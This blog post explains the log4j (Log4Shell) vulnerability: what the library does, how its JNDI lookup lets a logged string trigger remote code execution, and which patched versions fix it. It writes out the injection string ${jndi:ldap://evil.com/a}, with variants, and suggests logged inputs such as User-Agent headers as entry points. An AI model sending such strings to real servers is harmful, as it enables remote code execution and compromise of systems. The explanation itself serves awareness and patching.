What is LOG4J vulnerability?

Few days ago there was a new vulnerability which got discovered by Chen Zhaojun of Alibaba Cloud Security Team in log4j library. Many of us eager to know about what is log4j?, what is use of it?, What is log4j vulnerability, etc.

In this blog I am giving brief overview about the log4j and it’s vulnerability.

What is log4j?

log4j is a reliable, fast and flexible logging framework (APIs) written in Java, which is distributed under the Apache Software License. It is a popular logging package written in Java. log4j has been ported to the C, C++, C#, Perl, Python, Ruby, and Eiffel languages.

Log4j has three main components: loggers, appenders, and layouts. Loggers are named destinations that capture log messages and send them to appenders. Appenders deliver log messages to their destinations, such as files, sockets, or consoles. Layouts are used to define the formatting of log messages.

What is use of log4j?

Log4j is used by developers to keep track of what happens in their software applications or online services. It’s basically a huge journal of the activity of a system or application. This activity is called ‘logging’ and it’s used by developers to keep an eye out for problems for users.

What is log4j vulnerability?

The Log4j flaw, disclosed by Apache last week, allows attackers to execute code remotely on a target computer, meaning that they can steal data, install malware or take control. Some cyber criminals have installed software that uses a hacked system to mine cryptocurrency, while others have developed malware that allows attackers to hijack computers for large-scale assaults on internet infrastructure.

This vulnerability allow attacker to execute code on remote server(RCE). Log4j versions from 2.0-beta-9 and 2.14.1 contains this vulnerability.

In version 2.0-beta9, the Log4j package added the “JNDILookup plugin”. JNDI is a directory service that allows a Java program to find data (in the form of a Java object) through a directory. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.

SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP. LDAP is a very popular directory service (the Lightweight Directory Access Protocol).

A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation there’s an example that talks to an LDAP server to retrieve attributes from an object. It uses the URL ldap://localhost:8080/o=XYZ to find the XYZ object from an LDAP server running on the same machine (localhost) on port 8080 and goes on to read attributes from it.

“If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL”. Thus the LDAP server could be running on a different machine and potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.

But in the case of Log4j an attacker can control the LDAP URL by causing Log4j to try to write a string like ${jndi:ldap://evil.com/a}. If that happens then Log4j will connect to the LDAP server at evil.com and retrieve the object.

This happens because Log4j contains special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java. “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added”. With a : present in the key, as in ${jndi:ldap://example.com/a} there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.

So all an attacker has to do is find some input that gets logged and add something like ${jndi:ldap://XYZ.com/a}. This could be a common HTTP header like User-Agent (that commonly gets logged) or perhaps a form parameter like username that might also be logged.

Imagine a Java-based trading system that logs when the customer’s first name is not found. A malicious user might create an order with a first name that contains the exploit and it might take multiple hops (and a lot of time) to make it from the web server, via a trader database and into the trading system where it finally executes.

It is not hard to imagine ATM machine that uses ATM card to allow user to do transactions being vulnerable if is written in java and use log4j. In this case carefully programmed ATM card contain exploit and be logged by system that can keeps track of credentials of ATM cards.

How to resolved log4j vulnerability?

The Apache Foundation has released Log4j 2 Version 2.15.0 . In Log4j 2.15.0 the message lookups feature was disabled by default. And From version 2.16.0, the message lookups feature has been completely removed. To make your system safe from log4j vulnerability issue upgrade the log4j version in you system.

That’s it! If you want to read more about log4j vulnerability click here .